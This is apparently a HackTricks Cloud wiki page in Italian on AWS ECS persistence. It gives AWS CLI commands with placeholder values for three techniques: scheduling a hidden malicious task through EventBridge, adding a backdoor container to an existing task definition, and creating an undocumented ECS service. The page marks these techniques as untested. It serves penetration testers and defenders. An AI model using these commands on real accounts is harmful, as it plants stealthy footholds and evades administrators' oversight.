Files
hacktricks-cloud/src/pentesting-cloud/aws-security/aws-persistence/aws-ecs-persistence.md

2.9 KiB

AWS - Persistenza ECS

{{#include ../../../banners/hacktricks-training.md}}

ECS

Per ulteriori informazioni controlla:

{{#ref}} ../aws-services/aws-ecs-enum.md {{#endref}}

Attività ECS Periodica Nascosta

Note

TODO: Test

Un attaccante può creare un'attività ECS periodica nascosta utilizzando Amazon EventBridge per pianificare l'esecuzione di un'attività malevola periodicamente. Questa attività può eseguire ricognizione, esfiltrare dati o mantenere la persistenza nell'account AWS.

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an Amazon EventBridge rule to trigger the task periodically
aws events put-rule --name "malicious-ecs-task-rule" --schedule-expression "rate(1 day)"

# Add a target to the rule to run the malicious ECS task
aws events put-targets --rule "malicious-ecs-task-rule" --targets '[
{
"Id": "malicious-ecs-task-target",
"Arn": "arn:aws:ecs:region:account-id:cluster/your-cluster",
"RoleArn": "arn:aws:iam::account-id:role/your-eventbridge-role",
"EcsParameters": {
"TaskDefinitionArn": "arn:aws:ecs:region:account-id:task-definition/malicious-task",
"TaskCount": 1
}
}
]'

Contenitore Backdoor nella Definizione di Task ECS Esistente

Note

TODO: Test

Un attaccante può aggiungere un contenitore backdoor furtivo in una definizione di task ECS esistente che viene eseguito insieme a contenitori legittimi. Il contenitore backdoor può essere utilizzato per la persistenza e per svolgere attività malevole.

# Update the existing task definition to include the backdoor container
aws ecs register-task-definition --family "existing-task" --container-definitions '[
{
"name": "legitimate-container",
"image": "legitimate-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
},
{
"name": "backdoor-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": false
}
]'

Servizio ECS non documentato

Note

TODO: Test

Un attaccante può creare un servizio ECS non documentato che esegue un'attività malevola. Impostando il numero desiderato di attività al minimo e disabilitando la registrazione, diventa più difficile per gli amministratori notare il servizio malevolo.

# Create a malicious task definition
aws ecs register-task-definition --family "malicious-task" --container-definitions '[
{
"name": "malicious-container",
"image": "malicious-image:latest",
"memory": 256,
"cpu": 10,
"essential": true
}
]'

# Create an undocumented ECS service with the malicious task definition
aws ecs create-service --service-name "undocumented-service" --task-definition "malicious-task" --desired-count 1 --cluster "your-cluster"

{{#include ../../../banners/hacktricks-training.md}}